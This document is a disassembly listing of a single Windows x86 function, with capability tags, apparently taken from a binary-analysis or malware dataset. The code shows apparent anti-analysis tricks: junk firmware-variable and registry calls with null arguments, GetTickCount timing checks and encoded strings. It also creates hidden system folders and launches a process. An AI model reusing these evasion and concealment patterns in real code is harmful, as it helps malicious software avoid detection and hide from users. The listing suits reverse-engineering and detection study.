Function at 0x416230
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Delete file
Set file attributes
Set uefi variable

Disassembly:
push 0x1d4
mov eax, 0x440729
call fcn.0042b376
mov edi, ecx
mov dword [ebp - 0xb4], edi
xor ebx, ebx
push ebx
call fcn.0042a13f
pop ecx
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x416281
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
xor esi, esi
inc esi
mov eax, esi
jmp 0x416286
xor esi, esi
xor eax, eax
inc esi
dec eax
jne 0x416293
call fcn.0040c6d6
call fcn.0040c747
cmp dword [ebp + 0x1c], ebx
jne 0x4162cd
push ebx
push esi
lea ecx, [ebp + 8]
call fcn.0040329c
push ebx
push esi
lea ecx, [ebp + 0x24]
call fcn.0040329c
push ebx
push esi
lea ecx, [ebp + 0x40]
call fcn.0040329c
push ebx
push esi
lea ecx, [ebp + 0x5c]
call fcn.0040329c
mov eax, 0x80004005
call fcn.0042b3f9
ret 0x70
cmp dword [ebp + 0x38], ebx
je 0x416298
call fcn.004094e1
test eax, eax
je 0x4162e5
call fcn.0040c78a
call fcn.00401d8f
cmp dword [ebp + 0x54], ebx
je 0x416298
mov eax, dword [edi + 0x300]
sub eax, dword [edi + 0x2fc]
add edi, 0x2f0
push 0x58
cdq
pop ecx
idiv ecx
xor esi, esi
mov dword [ebp - 0xac], edi
test eax, eax
jbe 0x41635d
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x41631a
lea eax, [ebp + 0xc]
mov dword [ebp - 0xbc], eax
push esi
mov eax, edi
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x416333
mov eax, dword [eax + 4]
jmp 0x416336
add eax, 4
push dword [ebp - 0xbc]
push eax
call fcn.00428726
pop ecx
pop ecx
test eax, eax
je 0x4164e2
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
push 0x58
cdq
pop ecx
idiv ecx
inc esi
cmp esi, eax
jb 0x41630e
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
push 0x58
pop ecx
cdq
idiv ecx
push ebx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x70], 0xf
mov dword [ebp - 0xa8], eax
call fcn.00403636
lea esi, [ebp - 0x6c]
call fcn.00402e5f
lea esi, [ebp - 0x50]
call fcn.00402e5f
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 6
call fcn.004031c2
mov eax, dword [ebp - 0xb4]
push 0xffffffffffffffff
push ebx
add eax, 0x260
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x34], ebx
call fcn.004031c2
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x4163e8
lea edi, [eax - 1]
lea eax, [ebp - 0x6c]
call fcn.00408121
cmp byte [eax], 0x5c
je 0x4163e8
xor ebx, ebx
push 0x5c
inc ebx
lea edi, [ebp - 0x6c]
call fcn.0040842d
xor ebx, ebx
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x24]
lea esi, [ebp - 0x6c]
call fcn.00408389
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x41641a
lea edi, [eax - 1]
mov eax, esi
call fcn.00408121
cmp byte [eax], 0x5c
je 0x41641a
xor ebx, ebx
push 0x5c
inc ebx
mov edi, esi
call fcn.0040842d
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
dec eax
dec eax
je 0x41642f
dec eax
dec eax
je 0x41642f
sub eax, 4
jne 0x41643a
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebx
mov dword [ebp - 4], 6
call fcn.0042a13f
pop ecx
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x50]
call fcn.004031c2
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x40]
lea esi, [ebp - 0x6c]
call fcn.00408389
call edi
dec eax
dec eax
je 0x416474
dec eax
dec eax
je 0x416474
sub eax, 4
jne 0x41647b
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
mov eax, edi
mov dword [ebp - 4], 6
call fcn.004176e9
call fcn.004094e1
test eax, eax
je 0x4164a4
call fcn.0040c7fb
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 3
call fcn.00417161
push dword [ebp - 0xa8]
mov eax, edi
call fcn.00417674
cmp dword [eax + 0x54], 3
push dword [ebp - 0xa8]
mov eax, edi
jbe 0x416587
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x4164ea
mov eax, dword [eax + 4]
jmp 0x4164ed
mov dword [ebp - 0xa8], esi
jmp 0x4164b3
add eax, 4
push eax
lea eax, [ebp - 0x114]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb0], esp
push 0x1b
push str.6WRUHX_W
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0xb
call fcn.00427269
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x18], 0x10
jb 0x416531
mov eax, dword [eax + 4]
jmp 0x416534
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x114]
call fcn.0040329c
lea esi, [ebp - 0x88]
call fcn.00417161
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 0x40]
call fcn.0040329c
push ebx
push edi
jmp 0x4162b8
call fcn.00417674
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [ebp - 0xb0], esp
push eax
call fcn.00402e94
call fcn.0040eb99
push ebx
mov esi, eax
call fcn.0042a13f
cmp esi, ebx
pop ecx
jge 0x416eae
lea eax, [ebp - 0xf8]
push eax
call fcn.00417a22
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0xd
mov esi, esp
mov dword [ebp - 0xb0], esp
push 0xb
push 0x448d40
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0xe
call fcn.00426f82
mov byte [ebp - 4], 0xf
cmp dword [eax + 0x18], 0x10
jb 0x416607
mov eax, dword [eax + 4]
jmp 0x41660a
add eax, 4
push eax
lea ecx, [ebp - 0x114]
call fcn.00402e72
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x10
call fcn.004082b5
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.0040329c
push ebx
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0xd
call fcn.00417161
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb0], esp
push 5
push str.._a_S_n
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x11
call fcn.0042700a
mov byte [ebp - 4], 0x12
cmp dword [eax + 0x18], 0x10
jb 0x416698
mov eax, dword [eax + 4]
jmp 0x41669b
add eax, 4
push eax
lea ecx, [ebp - 0x114]
call fcn.00402e72
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x13
call fcn.004082b5
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.0040329c
push ebx
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0xd
call fcn.00417161
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xb0], esp
lea ecx, [ebp - 0xf8]
push ecx
push eax
call fcn.0040818f
mov edi, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
push edi
mov byte [ebp - 4], 0x14
call fcn.00417674
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.00402e94
mov ecx, dword [ebp - 0xb4]
add ecx, 0x18
mov dword [ebp - 0xb0], ecx
mov byte [ebp - 4], 0xd
call fcn.00407c53
cmp eax, ebx
mov eax, dword [ebp - 0xac]
push edi
jge 0x4168ff
call fcn.00417674
add eax, 0x54
inc dword [eax]
call fcn.00428e21
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.00428e21
cdq
idiv esi
cmp edx, esi
jg 0x41677b
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x416785
call fcn.0040c89b
call fcn.0040c8e4
mov eax, dword [ebp - 0xac]
push edi
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x41679c
mov eax, dword [eax + 4]
jmp 0x41679f
add eax, 4
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb0], esp
push 0x21
push 0x448d54
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x15
call fcn.0042700a
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x18], 0x10
jb 0x4167e1
mov eax, dword [eax + 4]
jmp 0x4167e4
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0xd
call fcn.00417161
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x41682f
mov eax, dword [eax + 4]
jmp 0x416832
add eax, 4
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb0], esp
push 2
push 0x448d78
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x17
call fcn.0042700a
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x18], 0x10
jb 0x416874
mov eax, dword [eax + 4]
jmp 0x416877
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040e8e1
add esp, 0xc
xor edi, edi
xor ebx, ebx
push edi
inc ebx
push ebx
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x4168b8
dec eax
dec eax
je 0x4168b8
sub eax, 4
jne 0x4168c3
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea esi, [ebp - 0xf8]
call fcn.004087c9
push dword [ebp - 0xf8]
call fcn.00428e43
pop ecx
push edi
push ebx
lea ecx, [ebp + 8]
call fcn.0040329c
push edi
push ebx
lea ecx, [ebp + 0x24]
call fcn.0040329c
push edi
push ebx
lea ecx, [ebp + 0x40]
call fcn.0040329c
push edi
push ebx
jmp 0x4162b8
call fcn.00417674
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.00402e94
call fcn.0040eb99
mov esi, eax
call fcn.004094e1
test eax, eax
je 0x41692d
call fcn.0040cb42
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.00403636
cmp esi, ebx
mov byte [ebp - 4], 0x1b
jge 0x416d13
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
mov ecx, eax
add ecx, 0x1c
lea eax, [ebp - 0x11c]
call fcn.0041987d
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push dword [ebp - 0xa8]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xe0], ecx
call fcn.00417674
mov ecx, eax
add ecx, 0x1c
lea eax, [ebp - 0x11c]
call fcn.00403277
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], eax
call fcn.00428e21
call fcn.00428e21
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0xbc], ebx
lea esi, [ebp - 0x198]
call fcn.00417881
mov byte [ebp - 4], 0x1e
push dword [ebp - 0x120]
lea eax, [ebp - 0xd8]
push dword [ebp - 0x124]
push dword [ebp - 0xdc]
push dword [ebp - 0xe0]
push ebx
push 1
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 9
push str.aDd_v
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x1f
call fcn.00426f82
mov byte [ebp - 4], 0x20
cmp dword [eax + 0x18], 0x10
jb 0x416a2f
mov eax, dword [eax + 4]
jmp 0x416a32
add eax, 4
lea ecx, [ebp - 0x11c]
push ecx
mov ebx, eax
call fcn.00417955
push eax
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 4], 0x21
call fcn.004196a6
movzx edi, al
add esp, 0x1c
lea eax, [ebp - 0x11c]
push eax
mov byte [ebp - 4], 0x20
call fcn.004179e3
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x1e
call fcn.00417161
cmp edi, ebx
je 0x416bd9
lea eax, [ebp - 0x114]
push eax
push 1
lea ecx, [ebp - 0x198]
call fcn.00417910
push eax
call fcn.0041793a
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x114]
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 0x22
call fcn.00408389
push ebx
push 1
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x1e
call fcn.0040329c
sub esp, 0x1c
mov eax, esi
mov ecx, esp
mov dword [ebp - 0xb8], esp
push eax
call fcn.00402e94
call fcn.0040eb99
cmp eax, ebx
jge 0x416b1c
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x416af7
lea eax, [ebp - 0x28]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov eax, dword [ebp - 0x28]
je 0x416bea
cmp dword [ebp - 0x14], 0x10
jae 0x416b13
lea eax, [ebp - 0x28]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
lea ecx, [ebp - 0x198]
call fcn.00417910
push dword [eax + 4]
push dword [eax]
push dword [ebp - 0x194]
push dword [ebp - 0x198]
call fcn.004196d0
add esp, 0x10
lea ecx, [ebp - 0x198]
mov esi, eax
call fcn.004178e9
mov edi, eax
add edi, esi
lea esi, [ebp - 0xe0]
call fcn.00403ed8
lea esi, [ebp - 0x190]
mov byte [ebp - 4], 0x1b
call fcn.00417a5b
inc dword [ebp - 0xbc]
xor ebx, ebx
cmp dword [ebp - 0xbc], 0x1e
jb 0x4169c4
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [ebp - 0xb8], esp
push eax
call fcn.00402e94
call fcn.0040eb99
cmp eax, ebx
jge 0x416d11
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
add eax, 0x38
cmp dword [eax + 0x18], 0x10
jb 0x416c97
mov eax, dword [eax + 4]
jmp 0x416c9a
lea esi, [ebp - 0x190]
mov byte [ebp - 4], 0x1b
call fcn.00417a5b
jmp 0x416b81
cmp dword [ebp - 0x14], 0x10
jae 0x416bf3
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x25
push 0x448d88
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x23
call fcn.00426f82
mov byte [ebp - 4], 0x24
cmp dword [eax + 0x18], 0x10
jb 0x416c35
mov eax, dword [eax + 4]
jmp 0x416c38
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
call fcn.00417161
lea esi, [ebp - 0x190]
call fcn.00417a5b
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040329c
lea esi, [ebp - 0xf8]
call fcn.004087c9
push dword [ebp - 0xf8]
call fcn.00428e43
pop ecx
jmp 0x416562
add eax, 4
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x27
push 0x448db0
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x25
call fcn.00426f82
mov byte [ebp - 4], 0x26
cmp dword [eax + 0x18], 0x10
jb 0x416cdc
mov eax, dword [eax + 4]
jmp 0x416cdf
add eax, 4
mov ebx, dword [ebp - 0xb4]
xor edi, edi
push eax
inc edi
push edi
call fcn.0040e8e1
add esp, 0xc
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
call fcn.00417161
jmp 0x416c71
xor ebx, ebx
mov esi, dword [ebp - 0xa8]
mov edi, dword [ebp - 0xac]
push esi
mov eax, edi
call fcn.00417674
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [ebp - 0xb8], esp
push eax
call fcn.00402e94
mov ecx, dword [ebp - 0xb0]
call fcn.004069cb
cmp eax, ebx
push esi
mov eax, edi
jge 0x416e69
call fcn.00417674
add eax, 0x54
inc dword [eax]
push esi
mov eax, edi
call fcn.00417674
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x416d71
mov eax, dword [eax + 4]
jmp 0x416d74
add eax, 4
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x1d
push 0x448dd8
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x27
call fcn.004270be
mov byte [ebp - 4], 0x28
cmp dword [eax + 0x18], 0x10
jb 0x416db8
mov eax, dword [eax + 4]
jmp 0x416dbb
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x1b
call fcn.00417161
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x416e06
mov eax, dword [eax + 4]
jmp 0x416e09
add eax, 4
push eax
lea eax, [ebp - 0xd8]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 2
push 0x448df8
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov byte [ebp - 4], 0x29
call fcn.00426f18
mov byte [ebp - 4], 0x2a
cmp dword [eax + 0x18], 0x10
jb 0x416e4b
mov eax, dword [eax + 4]
jmp 0x416e4e
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040e8e1
xor edi, edi
add esp, 0xc
xor ebx, ebx
inc edi
jmp 0x416cf4
call fcn.00417674
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x416e7c
mov eax, dword [eax + 4]
jmp 0x416e7f
add eax, 4
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040329c
lea esi, [ebp - 0xf8]
mov byte [ebp - 4], 3
call fcn.004087c9
push dword [ebp - 0xf8]
call fcn.00428e43
pop ecx
xor eax, eax
mov dword [ebp - 0x134], ebx
lea edi, [ebp - 0x130]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
push ebx
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.00431170
add esp, 0xc
push 0x448b14
xor eax, eax
push ecx
push dword [ebp - 0xa8]
xor edi, edi
mov word [ebp - 0x1b0], ax
mov eax, dword [ebp - 0xac]
inc edi
mov dword [ebp - 0x1b4], edi
call fcn.00417674
add eax, 0x1c
add esp, 4
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.00419421
add esp, 0xc
lea ecx, [ebp + 0x5c]
push ecx
push eax
lea eax, [ebp - 0xa4]
push eax
mov byte [ebp - 4], 0x2b
call fcn.004194db
add esp, 0xc
push ebx
push edi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x2d
call fcn.0040329c
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
add eax, 0x38
cmp dword [eax + 0x18], 0x10
jb 0x416f5e
mov eax, dword [eax + 4]
jmp 0x416f61
add eax, 4
cmp dword [ebp - 0x8c], 0x10
mov ecx, dword [ebp - 0xa0]
jae 0x416f76
lea ecx, [ebp - 0xa0]
lea edx, [ebp - 0x134]
push edx
lea edx, [ebp - 0x1e0]
push edx
push eax
push ebx
push 0xc000000
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x134]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb0], eax
call esi
mov dword [ebp - 4], 0x2d
push dword [ebp - 0x130]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x416fe0
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov eax, edi
jmp 0x416fe2
xor eax, eax
dec eax
jne 0x416fef
call fcn.0040cb42
call fcn.0040c9ad
cmp dword [ebp - 0xb0], ebx
jne 0x41715d
cmp dword [ebp - 0x8c], 0x10
mov eax, dword [ebp - 0xa0]
jae 0x417010
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x114]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 0x1f
push str.6WRUH
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x30
call fcn.004270be
mov byte [ebp - 4], 0x31
cmp dword [eax + 0x18], 0x10
jb 0x417054
mov eax, dword [eax + 4]
jmp 0x417057
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 1
call fcn.0040e8e1
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0x114]
call fcn.0040329c
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x2d
call fcn.00417161
push dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
call fcn.00417674
cmp dword [eax + 0x18], 0x10
jb 0x4170a2
mov eax, dword [eax + 4]
jmp 0x4170a5
add eax, 4
push eax
lea eax, [ebp - 0x114]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb8], esp
push 2
push 0x448e1c
call fcn.0040801d
lea edi, [ebp - 0x88]
call fcn.00426ea5
mov ecx, eax
mov byte [ebp - 4], 0x32
call fcn.004270be
mov byte [ebp - 4], 0x33
cmp dword [eax + 0x18], 0x10
jb 0x4170e9
mov eax, dword [eax + 4]
jmp 0x4170ec
add eax, 4
mov ebx, dword [ebp - 0xb4]
push eax
push 2
call fcn.0040e8e1
add esp, 0xc
push 0
push 1
lea ecx, [ebp - 0x114]
call fcn.0040329c
lea esi, [ebp - 0x88]
call fcn.00417161
mov esi, 0x80004005
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xa4]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 8]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 0x24]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 0x40]
call fcn.0040329c
push ebx
push edi
lea ecx, [ebp + 0x5c]
call fcn.0040329c
mov eax, esi
jmp 0x4162c5
xor esi, esi
jmp 0x41711e